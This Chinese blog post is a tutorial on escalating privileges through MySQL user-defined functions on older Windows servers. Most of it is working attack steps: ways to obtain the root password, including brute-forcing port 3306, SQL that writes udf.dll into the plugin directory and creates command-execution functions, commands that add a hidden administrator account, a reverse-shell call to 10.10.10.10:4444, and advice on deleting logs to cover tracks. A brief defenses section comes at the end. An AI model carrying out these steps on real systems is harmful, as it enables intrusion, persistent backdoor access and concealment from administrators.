MySQL之UDF提权

0x00:简介

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
  • 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  • 拥有可以将udf.dll写入相应目录的权限。

提权原理:

通过root权限,导入udf.dll到系统目录下,可以通过udf.dll调用执行cmd

参考链接:

https://bbs.ichunqiu.com/thread-39697-1-1.html (这个比较详细)

https://www.jianshu.com/p/5b34c1b6dee7

https://www.freebuf.com/articles/system/163144.html

https://www.cnblogs.com/R4v3n/articles/8722657.html

0x01:提权方法

要求:

 1.目标系统是Windows(Win2000,XP,Win2003);

window server 2000  C:\winnt\udf.dll

window server 2003 C:\windows\udf.dll

2.可以将udf.dll写入到相应目录的权限。

3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。

 获取到对方的mysql数据库下的root账号密码方法

 1. 查看网站源码里面数据库配置文件(inc,conn,config,common,data等)

 2. 查看数据库安装路径下的user.myd(/data/mysql/)

3. 暴力破解mysql密码,破解3306端口入侵

目的: 

(1)导入udf.dll。MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedir;show variables like ‘%plugins%’ 寻找mysql安装路径

(2)创建函数

create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

(3)执行系统命令提权

select sys_eval(‘whoami’);

 

net user 123 123 /add

net localgroup administrators 123

net user 123 123 /del

 (4)清除痕迹

drop function cmdshell;// 将函数删除

删除udf.dll文件以及其它相关入侵文件及日志

0x02:实际操作

###先拿sql-labs测试一下,系统:windows xp###

(1)获取数据库版本、数据位置以及插件位置等信息

  1. select version();//获取数据库版本 
  2. select user();//获取数据库用户 
  3. select @@basedir ;//获取安装目录 
  4. show variables like '%plugins%'; //寻找mysql安装路径 
  5. select @@plugin_dir;

一般 plugins目录 在   安装目录/lib/plugins

 

 

 

 如果没有lib/plugin目录的话

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

执行成功以后就会plugin目录,然后再进行导出udf.dll即可。

总结

有webshell的提权:

直接 上传udf马儿

 

没有webshell的情况下提权

先获取mysql的各种信息,获取mysql版本,安装路径,/lib/plugin 的路径

之后通过查询将udf.dll转成代码插入数据库

 

use mysql; 
set @a=concat('',0x代码); 
create table Ghost(data LONGBLOB); 
insert into Ghost values("");update Ghost set data = @a; 
代码为select hex(load_file('c:/udf.dll'))中的内容 
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //导出ufd.dll 
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创建函数 
select backshell("10.10.10.10",4444);

  拷贝别人的靶场环境,又双被弄出问题了,wamp一直是红色的,懒得弄了,待会自己搭建一个

 ******

 1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedirshow variables like ‘%plugins%’ 寻找mysql安装路径 提权:

 

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

 

create function cmdshell returns string soname ‘udf.dll’

select cmdshell(‘net user arsch arsch /add’);

select cmdshell(‘net localgroup administrators arsch /add’);

 

drop function cmdshell;

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

*******

 常见错误:

  1. #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 
  2.  
  3. SHOW VARIABLES LIKE "secure_file_priv" 

在my.ini 或者mysql.cnf 文件中注销 (使用#号) 包含secure_file_priv的行。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将my.ini中的skip-grant-tables选项去掉。

 

cmdshell不再library中,可以换一个函数,例如sys_exec

 

0x03:防范方法

尽量避免提供对外链接,通过mysql中的user表进行查看,禁用"%"。
设置复杂的Root账号密码。
对my.ini设置只读属性,设置plugin目录为只读目录。

 

 

 

 

 

finished

posted @ 2020-05-19 12:25  Michae1_('_')t  阅读(765)  评论(0编辑  收藏